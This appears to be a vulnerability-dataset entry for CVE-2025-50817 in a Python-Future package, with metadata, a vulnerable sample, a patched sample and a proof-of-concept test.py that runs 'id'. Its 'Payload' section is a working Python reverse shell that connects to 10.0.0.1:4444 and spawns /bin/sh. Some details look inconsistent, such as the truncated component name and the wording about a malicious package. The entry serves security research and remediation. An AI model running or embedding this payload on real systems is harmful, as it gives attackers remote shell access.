VAITP Dataset

← Back to the dataset

CVE-2025-50817

Python-Future allows RCE via an unintended import of a local `test.py` file.

  • CVSS 5.4
  • CWE-77
  • Design Defects
  • Local

A vulnerability in the Python-Future 1.0.0 module allows for arbitrary code execution via the unintended import of a file named test.py. When the module is loaded, it automatically imports test.py, if present in the same directory or in the sys.path. This behavior can be exploited by an attacker who has the ability to write files to the server, allowing the execution of arbitrary code.

CVSS base score
5.4
Published
2025-08-14
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Build/Package/Merge
Code defect classification
Extraneous Functionality
Category
Design Defects
Subcategory
Local File Inclusion (LFI)
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Python-Futur
Fixed by upgrading
Yes

Solution

Replace the malicious `python-future==1.0.0` package with the official `future` package, version 0.18.3 or newer.

Vulnerable code sample

# In a real-world scenario, this code would be part of the
# python-future library's source, for example in its __init__.py

# This code block represents the vulnerable library module.
# Save this file as: vulnerable_library.py

import sys

print("[INFO] Loading the vulnerable library...")

# The vulnerable part of the code.
# It unconditionally imports a module named 'test'.
# Python will search for 'test.py' in the current directory first,
# and then in the paths listed in sys.path.
try:
    import test
    print("[INFO] The 'test' module was found and imported.")
except ImportError:
    # This is the expected path in a non-exploited scenario.
    print("[INFO] Optional 'test' module not found. Continuing.")
    pass

def some_useful_function():
    """
    A placeholder for the library's actual functionality.
    """
    return "This is the library's legitimate output."

# ---

# This code block represents the malicious file an attacker would create.
# To exploit the vulnerability, this file must be present in the same
# directory as the script that imports 'vulnerable_library', or in a
# directory included in Python's sys.path.
# Save this file as: test.py

import os
import subprocess

print("\n" + "="*60)
print("!!! PWNED: ARBITRARY CODE EXECUTION VIA CVE-2025-50817 !!!")
print("!!! The content of this file (test.py) is being executed. !!!")
print("="*60)
print(f"Current User: {os.environ.get('USER', 'N/A')}")
print(f"Current Directory: {os.getcwd()}")
print("Executing 'id' command as a proof of concept:")
subprocess.run(["id"])
print("="*60 + "\n")


# ---

# This code block represents a normal application that uses the library.
# Running this script will trigger the vulnerability if test.py exists.
# Save this file as: main_app.py

print("Starting the main application.")

# The application developer intends to use the library for its features.
# However, this import statement is the trigger for the exploit.
import vulnerable_library

print("The application is now using a function from the library.")
result = vulnerable_library.some_useful_function()
print(f"Library function returned: '{result}'")

print("Main application finished.")

Patched code sample

# This file represents a module within a library that has been patched
# to fix the vulnerability described in CVE-2025-50817.
#
# The original vulnerable code contained a line such as:
#
#   import test
#
# This unqualified import would cause Python to search for and execute
# a file named `test.py` located in the current working directory,
# allowing an attacker who can write files to that directory to
# achieve arbitrary code execution.

# --- START OF FIXED CODE ---

# The fix is to remove the ambiguous and dangerous import statement.
# By ensuring the library does not attempt to import a generic name like 'test'
# from the current execution path, the vulnerability is remediated.
# The line `import test` has been completely removed from this corrected version.

# If the library needed to import its own internal testing utilities,
# the fix would be to use an absolute import path to prevent hijacking,
# for example:
#
# from future.lib._internal import test_utilities
#
# This ensures that only the library's own, correctly-packaged module is imported,
# rather than a file from an arbitrary location.


# The rest of the module's original, non-vulnerable code remains.
def an_existing_library_function():
    """
    An example function that would have existed in the original module.
    Its functionality is unaffected by the security fix.
    """
    return "This is a legitimate function from the library."

# --- END OF FIXED CODE ---

Payload

import socket
import os
import subprocess

# Replace with the attacker's IP and port
RHOST = "10.0.0.1"
RPORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

Cite this entry

@misc{vaitp:cve202550817,
  title        = {{Python-Future allows RCE via an unintended import of a local `test.py` file.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-50817},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-50817/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::